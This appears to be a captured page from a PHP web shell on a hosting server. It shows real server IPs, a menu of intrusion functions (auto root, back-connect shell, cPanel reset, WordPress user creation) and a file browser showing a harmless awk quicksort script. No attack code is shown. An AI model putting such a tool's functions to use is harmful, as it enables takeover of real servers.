Linux host45.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 198.54.116.152 | : 216.73.216.22
Cant Read [ /etc/named.conf ]
8.1.32
bankpromax
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
awk /
[ HOME SHELL ]
Name
Size
Permission
Action
assert.awk
383
B
-rw-r--r--
bits2str.awk
334
B
-rw-r--r--
cliff_rand.awk
307
B
-rw-r--r--
ctime.awk
234
B
-rw-r--r--
ftrans.awk
315
B
-rw-r--r--
getopt.awk
2.15
KB
-rw-r--r--
gettime.awk
2.43
KB
-rw-r--r--
group.awk
1.72
KB
-rw-r--r--
have_mpfr.awk
221
B
-rw-r--r--
inplace.awk
1.95
KB
-rw-r--r--
intdiv0.awk
462
B
-rw-r--r--
join.awk
378
B
-rw-r--r--
libintl.awk
238
B
-rw-r--r--
noassign.awk
422
B
-rw-r--r--
ord.awk
937
B
-rw-r--r--
passwd.awk
1.17
KB
-rw-r--r--
processarray.awk
355
B
-rw-r--r--
quicksort.awk
1.01
KB
-rw-r--r--
readable.awk
489
B
-rw-r--r--
readfile.awk
267
B
-rw-r--r--
rewind.awk
404
B
-rw-r--r--
round.awk
661
B
-rw-r--r--
shellquote.awk
472
B
-rw-r--r--
strtonum.awk
1.42
KB
-rw-r--r--
walkarray.awk
214
B
-rw-r--r--
zerofile.awk
424
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : quicksort.awk
# quicksort.awk --- Quicksort algorithm, with user-supplied # comparison function # # Arnold Robbins, arnold@skeeve.com, Public Domain # January 2009 # quicksort --- C.A.R. Hoare's quicksort algorithm. See Wikipedia # or almost any algorithms or computer science text. # # Adapted from K&R-II, page 110 function quicksort(data, left, right, less_than, i, last) { if (left >= right) # do nothing if array contains fewer return # than two elements quicksort_swap(data, left, int((left + right) / 2)) last = left for (i = left + 1; i <= right; i++) if (@less_than(data[i], data[left])) quicksort_swap(data, ++last, i) quicksort_swap(data, left, last) quicksort(data, left, last - 1, less_than) quicksort(data, last + 1, right, less_than) } # quicksort_swap --- helper function for quicksort, should really be inline function quicksort_swap(data, i, j, temp) { temp = data[i] data[i] = data[j] data[j] = temp }
Close
